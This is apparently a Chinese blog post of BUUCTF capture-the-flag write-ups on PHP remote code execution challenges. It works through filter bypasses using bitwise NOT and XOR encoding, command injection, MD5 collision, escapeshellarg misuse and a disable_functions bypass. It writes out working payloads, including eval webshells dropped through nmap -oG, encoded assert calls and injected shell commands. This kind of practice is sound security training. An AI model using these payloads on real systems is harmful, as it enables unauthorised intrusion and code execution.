首页 > 其他分享 >buu RCE1

buu RCE1

时间:2024-04-14 22:36:25浏览次数:26  
标签:字符 image buu 过滤 RCE ff% RCE1 png

RCE

代码执行

[极客大挑战 2019]Knife 蚁剑

scandir函数:返沪指定目录中的文件和目录的数组s

scandir(directory,sorting_order,context);//语法

用var_dump+scandir函数 查看目录下的所有文件

Syc=var_dump(scandir('/'));

image-20240327222129659

页面而背景颜色会覆盖代码执行的结果 提交请求后 查看源码

image-20240327222238517

查看文件内容

file_get_contents()函数

Syc=var_dump(file_get_contents('/flag'));

image-20240327222522867

得到flag

[SUCTF 2018]GetShell 无字母getshell

image-20240327222831764

can you upload a shell?

文件名: 未选择任何文件 
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);//从$contents变量中提取从第六个字符开始到文件末尾的所有内容
    foreach ($black_char as $b) {stripos() 函数检查 $data 中是否包含 $black_char 数组中的当前元素 $b(不区分大小写)将返回字符首次出现的位置的索引 否则返回flase
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

文件内容前五位不检查 从第六位开始和之后的内容就会赋值给data 内容若是检测到黑名单输出illegal char

先fuzz 借鉴的其他师傅的脚本..

# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requests


def ascii_str():
    str_list = []
    for i in range(33, 127):
        str_list.append(chr(i))
    # print('可显示字符:%s'%str_list)
    return str_list


def upload_post(url):
    str_list = ascii_str()
    for str in str_list:
        header = {
            'Host': 'e9ab07a6-3001-4707-b30d-d341616dca96.node5.buuoj.cn:81',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'text/plain'
        }
        post = '''------WebKitFormBoundaryglS8Ae30B1NgpSa0
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

123

------WebKitFormBoundaryglS8Ae30B1NgpSa0
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryglS8Ae30B1NgpSa0--'''

        res = requests.post(url, data=post.encode('UTF-8'), headers=header)
        if 'Stored' in res.text:
            print("该字符可以通过:  {0}".format(str))
        else:
            print("过滤字符:  {0}".format(str))


if __name__ == '__main__':
    url = 'http://e9ab07a6-3001-4707-b30d-d341616dca96.node5.buuoj.cn:81/index.php?act=upload'
    upload_post(url)
过滤字符:  !
过滤字符:  "
过滤字符:  #
过滤字符:  $
过滤字符:  %
过滤字符:  &
过滤字符:  '
过滤字符:  (
过滤字符:  )
过滤字符:  *
过滤字符:  +
过滤字符:  ,
过滤字符:  -
过滤字符:  .
过滤字符:  /
过滤字符:  0
过滤字符:  1
过滤字符:  2
过滤字符:  3
过滤字符:  4
过滤字符:  5
过滤字符:  6
过滤字符:  7
过滤字符:  8
过滤字符:  9
过滤字符:  :
过滤字符:  ;
过滤字符:  <
过滤字符:  =
过滤字符:  >
过滤字符:  ?
过滤字符:  @
过滤字符:  A
过滤字符:  B
过滤字符:  C
过滤字符:  D
过滤字符:  E
过滤字符:  F
过滤字符:  G
过滤字符:  H
过滤字符:  I
过滤字符:  J
过滤字符:  K
过滤字符:  L
过滤字符:  M
过滤字符:  N
过滤字符:  O
过滤字符:  P
过滤字符:  Q
过滤字符:  R
过滤字符:  S
过滤字符:  T
过滤字符:  U
过滤字符:  V
过滤字符:  W
过滤字符:  X
过滤字符:  Y
过滤字符:  Z
过滤字符:  [
过滤字符:  \
过滤字符:  ]
过滤字符:  ^
过滤字符:  _
过滤字符:  `
过滤字符:  a
过滤字符:  b
过滤字符:  c
过滤字符:  d
过滤字符:  e
过滤字符:  f
过滤字符:  g
过滤字符:  h
过滤字符:  i
过滤字符:  j
过滤字符:  k
过滤字符:  l
过滤字符:  m
过滤字符:  n
过滤字符:  o
过滤字符:  p
过滤字符:  q
过滤字符:  r
过滤字符:  s
过滤字符:  t
过滤字符:  u
过滤字符:  v
过滤字符:  w
过滤字符:  x
过滤字符:  y
过滤字符:  z
过滤字符:  {
过滤字符:  |
过滤字符:  }
过滤字符:  ~

总结可通过的字符:$ () . ; = [] _~以及汉字

利用取反 获取可以字符

image-20240328162942434

使用php短标签

<?=              
$_=[];           
$__=$_.$_;        
$__=($_==$_);    
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];   //system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];           //_Post
$___($$____[~瞎[$__]]);                                     //system($_POST[a]);

payload

<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[~瞎[$__]]);

payload 作为txt文件内容 上传txt文件

image-20240328164140300

访问环境变量得到flag

image-20240328164054616

[GXYCTF2019]禁止套娃

只有一句“flag在哪里呢?”

源码抓包都没用

image-20240328220015870

猜测是.git泄露(python2环境下运行)

image-20240328211132700

只有index.php

image-20240401210035236

index.php源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

image-20240401210229078

过滤了伪协议 很多字符 get也不能用

image-20240401210530045

RCE篇之无参数rce - 学安全的小白 - 博客园

构造payload

scandir列出目录中的文件和目录

current返回数组中的当前元素的值

localecnov() 函数返回一个包含本地数字及货币格式信息的数组

exp=print_r(scandir(current(localeconv())));

image-20240401214014509

第一个元素是git 第二个元素是flag 第三个元素是index.php 所以可以利用反转函数array_reverse() 让指针指向第二个元素

exp=print_r(next(array_reverse(scandir(current(localeconv())))));

image-20240401214654620

使用hightlighr_file()函数 使文件内容显现(包括密码和其他敏感信息)

image-20240401214932136

[安洵杯 2019]easy_web

image-20240401221742136

base64解码

image-20240401222128336

image-20240401222146435

Hex解码

555.png

同理 index.php 先Hex加密

696E6465782E706870696E6465782E706870

在base64加密 再加密

Njk2ZTY0NjU3ODJlNzA2ODcw

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

抓包 base64解码 查看源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

MD5强绕过

image-20240402201203308

以POST的形式上传 a和b不能相等但是经过md5加密过后值相等

a,b值参考BUUCTF:[安洵杯 2019]easy_web

绕过姿势一

image-20240402193849891

因为不知道flag的名字 所以无法得到

姿势二

找到两个MD5值相同 但是本事不相同的a和b 再将相同的MD5值url编码

fastcoll_v1.0.0.5.exe -p abc.txt -o 1.txt 2.txt

image-20240403134917913

<?php 
function  readmyfile($path){
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
}
echo '二进制md5加密 '. md5( (readmyfile("1.txt")));
echo "</br>";
echo  'url编码 '. urlencode(readmyfile("1.txt"));
echo "</br>";
echo '二进制md5加密 '.md5( (readmyfile("2.txt")));
echo "</br>";
echo  'url编码 '.  urlencode(readmyfile("2.txt"));
echo "</br>";

image-20240403135332977

ca\t flag

image-20240403140403636

image-20240403140323423

[HITCON 2017]SSRFme

perl脚本漏洞

源码

66.90.115.138<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {//_SERVER:服务器和执行环境信息
    $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//explode函数:把字符串打散为数组
    $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];//REMOTE_ADDR:代表客户端IP
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//创建沙盒文件夹 路径为 `sandbox/`加上`orangre66.90.115.138`的MD5值 和 页面输出的ip 在执行命令get参数的url
@mkdir($sandbox);//创建名为sandbox的沙盒目录,加上md5("orange" . $_SERVER["REMOTE_ADDR"])的值
@chdir($sandbox);//进入目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));//使用shell_exec函数执行一个GET请求,获取$_GET["url"]参数指定的URL的内容 escapeshellarg函数将输入的url转码 将我们输入的转换成可以被执行的字符串 方便bash执行
$info = pathinfo($_GET["filename"]);//pathinfo函数获取&_GET[“filename”]参数的以数组的形式返回文件路径信息
$dir  = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);//创建名为$info["dirname"]的目录 其中.被替换为空字符
@chdir($dir);//进入目录
@file_put_contents(basename($info["basename"]), $data);//将获取到的数据写入一个文件,文件名为$info["basename"]
highlight_file(__FILE__);

![image-20240410205827998](buu RCE/image-20240410205827998.png)

file协议:本地文件传输协议 格式:file:///文件路径

​ file协议 利用open命令执行的前提是 要执行的文件夹存在 所以 先创建一个文件 在将结果写入文件夹

所以执行两遍?url=file:ls /|&filename=ls /|这个命令

将orange66.90.115.138md5加密为 85ff2593d41f89a13a23d33524961d22

![image-20240410210819726](buu RCE/image-20240410210819726.png)

在访问文件 路径为/sandbox/85ff2593d41f89a13a23d33524961d22/ls /|

![image-20240410212125250](buu RCE/image-20240410212125250.png)

看到readflag

同理 运行两遍 ?url=file:bash -c /readflag|&filename=bash -c /readflag|

访问 /sandbox/85ff2593d41f89a13a23d33524961d22/bash -c /readflag|

![image-20240410212340878](buu RCE/image-20240410212340878.png)

注:| 是 分界符

[ISITDTU 2019]EasyPHP

源码

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

strlen函数:返回字符串长度

count_chars函数:返回字符串所用字符的信息

​ 语法:cont_chars(string,mode)

本题count_hars(string,3):返回一个去重的字符串(是所有使用过的不同的字符)

strtolower函数:将 string 中所有的字母字符转换为小写并返回

0xd :ASCII码是指 回车

preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i'
  1. [\x00- ] - 这是一个字符类,匹配从\x00(NULL字符)到空格的任意字符
  2. 0-9 - 匹配任意数字
  3. \'"``$&.,|[{_defgops - 这部分匹配提供的任何特定字符,包括单引号、双引号、美元符号、&符号、点、逗号、竖线、左方括号、左花括号、下划线以及在’d’到’g’和’o’到’p’之间的字母以及字母s
  4. \x7F - 匹配DELETE字符(ASCII码为127)
  5. ]+ - 表示前面的字符类可以匹配一次或多次
  6. /i - 这个修饰符表示正则表达式匹配是不区分大小写的

匹配到以上字符就die

找了个脚本看看除了正则顾虑掉的 还有 哪些可以用

<?php
for($i=0;$i<=127;$i++){
    if ( !preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i',chr($i)) ){
        echo chr($i);
    }
}
//!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~

第二个if

strlen(count_chars(strtolower($_), 0x3)) > 0xd 
  • 不能提交超过13种字符

可以利用取反编码绕过和异或绕过(没有过滤 ~^)

^ (异或运算符)

~取反运算符

url编码取反

![image-20240411211148528](buu RCE/image-20240411211148528.png)

?_=(~%8F%97%8F%96%91%99%90)();

![image-20240412203652100](buu RCE/image-20240412203652100.png)

可以看到没有屏蔽print_r函数scandir函数

构造

<?php
$_="print_r(scandir('.'));";
echo strlen(count_chars(strtolower($_),0x3));
// 15

总共有15个字符 除了必要字符() ^ ;以外最多还可以有9个字符 所以还要删掉一部分

异或

用不可见字符相异或 异或出想要的字符

0xff默认是整形,一个byte跟0xff相与会先将byte转化为整形运算 运算结果结果会是我们想要的

为什么要和0xff异或:

0xff异或参考这篇文章

之所以用%ff是因为他用二进制表示为11111111,按位异或后得到的一定是相反的二进制数,再与其异或就又可以得到原二进制数 

![image-20240411222012277](buu RCE/image-20240411222012277.png)

获取_GET的ASCII码

_GET分别对应着95 71 69 84 //ord('_')

使用0xff分别对其进行异或

结果为 0xa0b8baab

两次异或 得到_GET

![image-20240411222534348](buu RCE/image-20240411222534348.png)

回到本题

print_r用异或来表示(%ff没跑出来 不知道为啥)

![image-20240412205210961](buu RCE/image-20240412205210961.png)

正常结果跑出来应该是

%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff

scandir(.)用异或表示

![image-20240412205613321](buu RCE/image-20240412205613321.png)

%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff(%D1^%ff)

合起来

((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))((91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff(%D1^%ff)));

查找可以替代的字符 找的是出现次数较少的字符(用三个字母来代替)

知道字符的ascii码表的值 将三个字母进行异或 得到一个字符 进行替代

替代脚本(emmm ai写的)

def find_three_characters_for_xor(target_char):
    target_byte = ord(target_char)
    for i in range(97, 123):  # 可打印字符的ASCII码范围
        for j in range(97, 123):
            for k in range(97, 123):
                if i != target_byte and j != target_byte and k != target_byte:  # 确保i、j和k不是目标字符
                    if i ^ j ^ k == target_byte:
                        return chr(i), chr(j), chr(k)
    return None, None, None

# 目标字符a
s = 'a'

# 找到三个字符
char1, char2, char3 = find_three_characters_for_xor(s)

if char1 is not None:
    print(f"The characters that XOR to '{s}' are: {char1}, {char2}, {char3}")
else:
    print(f"No combination of three different characters found that XOR to '{s}'.")

得到

a = c^p^r
d = s^c^t
n = i^s^t

用 c p r s t i 分别和%ff进行异或

![image-20240412211844981](buu RCE/image-20240412211844981.png)

c=%9C
p=%8F
s=%8C
t=%8B
i=%96
r=%8D

所以 print_r(scandir(.))可以表示为

有个问题 为什么多了好几个异或 这个几个异或有点费解

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

![image-20240413101919986](buu RCE/image-20240413101919986.png)

Array ( [0] => index.php [1] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )

使用end()可以返回数组的最后一项

end()函数 将数组内部指针指向最后一个元素,并返回该元素的值

![image-20240413102212447](buu RCE/image-20240413102212447.png)

构造 readfile(end(scandir(.)))

再次寻找可以被替换的字符

r = s^d^e
f = c^l^i
n = c^l^a

分别和0xff异或

![image-20240413104617442](buu RCE/image-20240413104617442.png)

d = %9B
e = %9A
l = %93
a = %9E

readfile用异或表示

![image-20240413104917557](buu RCE/image-20240413104917557.png)

(%8D%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff)

end用异或表示

(%9A%91%9B)^(%ff%ff%ff)

readfile(end(scandir(.)))表示为

老问题 为什么合起来是这个样子 多了好几个异或

((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));

![image-20240413105512976](buu RCE/image-20240413105512976.png)

get到一个查看有哪些函数提价是可以使用的脚本

$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
    if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
    if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
    print($arr.'<br/>');
}

![image-20240411201915302](buu RCE/image-20240411201915302.png)

命令执行

ACTF2020 新生赛]Exec 基础的命令执行

![image-20240413145057673](buu RCE/image-20240413145057673.png)

ping的题猜测是 远程命令执行

127.0.0.1;ls

![image-20240413145209431](buu RCE/image-20240413145209431.png)

看到index.php 在linux系统里 显示网页的路径是/var/www/html

所以index.php在这个路径里

127.0.0.1;cd /;ls

![image-20240413145431133](buu RCE/image-20240413145431133.png)

没有flag 并且发现 和空格没有被过滤

127.0.0.1;cd /;cat flag

![image-20240413145745479](buu RCE/image-20240413145745479.png)

得到flag

[BUUCTF]Easybypass 很少的过滤

源码

<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>
cannot open `' (No such file or directory) cannot open `' (No such file or directory)

看源码 能知道一些过滤 看到comm2 不仅过滤了cat还过滤了tac 所以用comm1 传参

![image-20240413151737573](buu RCE/image-20240413151737573.png)

看到 flag在/flag里

只需要绕过正则就可以

用tac代替cat fla?代替flag(?代表一个字符)

![image-20240413151206712](buu RCE/image-20240413151206712.png)

表示 正则后面拼上 在接上file 然后执行命令

![image-20240413152030502](buu RCE/image-20240413152030502.png)

得到flag

[GXYCTF2019]Ping Ping Ping

![image-20240413152219474](buu RCE/image-20240413152219474.png)

看到ip 再加上ping

访问127.0.0.1 访问成功 进一步查看目录

![image-20240413152441911](buu RCE/image-20240413152441911.png)

看到flag.php 但是无法访问

![image-20240413152554448](buu RCE/image-20240413152554448.png)

但是无法访问 猜测有过滤

做一下fuzz

![image-20240413153028264](buu RCE/image-20240413153028264.png)

![image-20240413152956421](buu RCE/image-20240413152956421.png)

![image-20240413153211043](buu RCE/image-20240413153211043.png)

![image-20240413153245726](buu RCE/image-20240413153245726.png)

![image-20240413153325519](buu RCE/image-20240413153325519.png)

发现过滤了空格和flag这写特殊字符

空格绕过 (可以用以下 字符代替空格)

<
${<!-- -->IFS}
$IFS$9
%09

flag 可以采取拼接绕过

fl\ag

失败

![image-20240413154102163](buu RCE/image-20240413154102163.png)

尝试访问index.php

![image-20240413154421373](buu RCE/image-20240413154421373.png)

访问失败 才发现 <也被过滤了

![image-20240413154337344](buu RCE/image-20240413154337344.png)

换一个过滤 发现除了 $IFS$9 其他能代替空格的都被过滤了

![image-20240413154600798](buu RCE/image-20240413154600798.png)

index.php

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

得知:如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤)

![image-20240413155221122](buu RCE/image-20240413155221122.png)

  $a = shell_exec("ping -c 4 ".$ip);//只能输入四个字符

![image-20240413155712005](buu RCE/image-20240413155712005.png)

最后 输出源代码 并且将变量a所表示的数据打印出来 所以可以使用拼接

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

执行后点击查看网页源代码 得到flag

![image-20240413160651072](buu RCE/image-20240413160651072.png)

[BUUCTF 2018]Online Tool escapeshellarg()和escapeshellcmd() 在一起会有问题

源码

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

![image-20240413161813412](buu RCE/image-20240413161813412.png)

生成了一个sandbox目录的名称 目录的名称为'glzjin'和$_SERVER['REMOTE_ADDR'](客户端的ip地址)的md5值

代码使用system()函数执行了nmap命令,该命令用于扫描host参数指定的目标主机。nmap命令的参数包括![image-20240413161854367](buu RCE/image-20240413161854367.png)

escapeshellarg()和escapeshellcmd()函数 按照先..arg在..cmd的顺序使用 会产生漏洞

escapeshellarg函数:把字符串转码为可以在设立了命令里使用的参数
功能:将字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
确保能够直接将一个字符串传入shell函数 设立了函数包括exec(),system()和反引号`
escapeshellcmd函数对字符串中可能会欺骗shell 命令执行任意命令的字符进行转
保证用户输入的数据在传送到wxec()或ysytem()函数 或者执行操符前转义
&#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替

再利用nmap命令的 -oG 参数将命令和结果都写入一个文件里 从而实现一句话木马

构造payload

?host=' <?php @eval($_POST["a"]);?> -oG hi.php '

![image-20240413173515747](buu RCE/image-20240413173515747.png)

蚁剑链接

http://40455a38-4045-4e99-acf7-8616c1405691.node5.buuoj.cn:81/0eb22488dd8a3205dac7de0d1d34ee9a/hi.php

![image-20240413173446136](buu RCE/image-20240413173446136.png)

![image-20240413174339008](buu RCE/image-20240413174339008.png)

得到flag

[网鼎杯 2020 朱雀组]Nmap

![image-20240413172051052](buu RCE/image-20240413172051052.png)

是nmap工具的题,nmap工具是用来扫描网络的,一般会拿来扫目标主机的端口或操作系统之类的

nmap命令将扫描结果保存在文件里

测试一下

nmap命令:

-oN (标准输出)

-oX (XML输出)

-oS (ScRipT KIdd|3 oUTpuT)

-oG (Grep输出)

-oA (输出至所有格式)

![image-20240413193119476](buu RCE/image-20240413193119476.png)

查看源码 发现flag在/flag里

![image-20240413171832462](buu RCE/image-20240413171832462.png)

测试127.0.0.1 得到

![image-20240413172317516](buu RCE/image-20240413172317516.png)

本地测试nmap命令

![image-20240413172526947](buu RCE/image-20240413172526947.png)

发现和在页面测试效果一样

构造shell

'<?php eval($_POST["pwd"]);?> -oG hi.php'

![image-20240413193931943](buu RCE/image-20240413193931943.png)

![image-20240413193942417](buu RCE/image-20240413193942417.png)

发现被拦截 猜测是将php关键字过滤了或者是 oG被过滤了

先测试绕过 php 修改后缀phpphtml

<?php改为短标签 <?=

'<?= @eval(_POST['a']);?> -oG hi.phtml'

![image-20240413194345799](buu RCE/image-20240413194345799.png)

发现 传入成功 访问hi.phtml 传入参数

![image-20240413194936414](buu RCE/image-20240413194936414.png)

接着执行命令 得到flag

![image-20240413195108900](buu RCE/image-20240413195108900.png)

[极客大挑战 2019]RCE ME 无字母getshell,同时进行disable_function绕过

源码

<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){//strlen函数用于计算字符串长度
        die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

// ?>

看完源码 发现 code传入的长度不能超过40 还正则匹配掉一些字符

可以利用取反异或来绕过

采用取反绕过

<?php
$c='phpinfo';
$d=urlencode(~$c);
echo $d;

结果

%8F%97%8F%96%91%99%90

传入参数

?code=(~%8F%97%8F%96%91%99%90)();

![image-20240413200710908](buu RCE/image-20240413200710908.png)

发现禁用了很多函数 接着传参

构造 <?php assert(eval($_POST[1])); ?>

为什么用assert函数不直接用eval构造是因为eval不是php函数 无法通过变量函数的方法直接调用 所以要用assert函数来调用 但是因为版本问题 所以不能构造 <?php assert($_POST[1]); ?>

所以要构造 <?php assert(eval($_POST[1])); ?>

![image-20240413200959994](buu RCE/image-20240413200959994.png)

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

传参 蚁剑连接

![image-20240413202419424](buu RCE/image-20240413202419424.png)

![image-20240413202529845](buu RCE/image-20240413202529845.png)

因为禁用了一些函数 所以需要绕过

两种方法 想选择 使用插件绕过 但是出了点小问题

第一种 上传bypass_disablefun_x64.so和bypass_disablefunc.php(重命名为shell.php)

![image-20240413211305343](buu RCE/image-20240413211305343.png)

![image-20240413211340064](buu RCE/image-20240413211340064.png)

在构造 ?code=${GET}_;&=assert&_=eval($_POST['a'])使用异或绕过

payload

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

![image-20240413211553580](buu RCE/image-20240413211553580.png)

得到flag

第二种 使用插件绕过(但是我的一直在获取数据 所以先记录一下)

![image-20240413210653992](buu RCE/image-20240413210653992.png)

在插件市场

![image-20240413210804980](buu RCE/image-20240413210804980.png)

选择PHP_GC_UAF模式

![image-20240413210835371](buu RCE/image-20240413210835371.png)

然后回进入到一个虚拟shell模式,输入/readflag,得到flag

![image-20240413210914024](buu RCE/image-20240413210914024.png)

[FBCTF2019]RCEService 正则字符串回溯绕过

![image-20240413212832556](buu RCE/image-20240413212832556.png)

随便传上去点啥 看到url里显示cmd 再加上json格式

json文件格式:一定要用双引号括起来

猜测是{"cmd":"ls"}

![image-20240413213021765](buu RCE/image-20240413213021765.png)

构造 {"cmd":"cat index.php"} 感觉是被过滤了 过滤了很多命令比如 / cat

![image-20240413214141210](buu RCE/image-20240413214141210.png)

看wp感觉不是比赛给的源码 但是确实输入命令 {%0a"cmd":"/bin/cat *"%0a} 拿不到源码

index.php

过滤了很多东西

<?php
putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

看源码发现 为了避免调用系统命令,改变了系统环境变量

用不了cat 也是因为这个环境下没有二进制文件 所以需要用/bin/cat 来调用cat命令

![image-20240413215308437](buu RCE/image-20240413215308437.png)

方法一

%0a换行符绕过

从上边的源码可以知道 路径为/home/rceservice/jail

?cmd={%0a"cmd":"ls /home/rceservice"%0a}

![image-20240413220408046](buu RCE/image-20240413220408046.png)

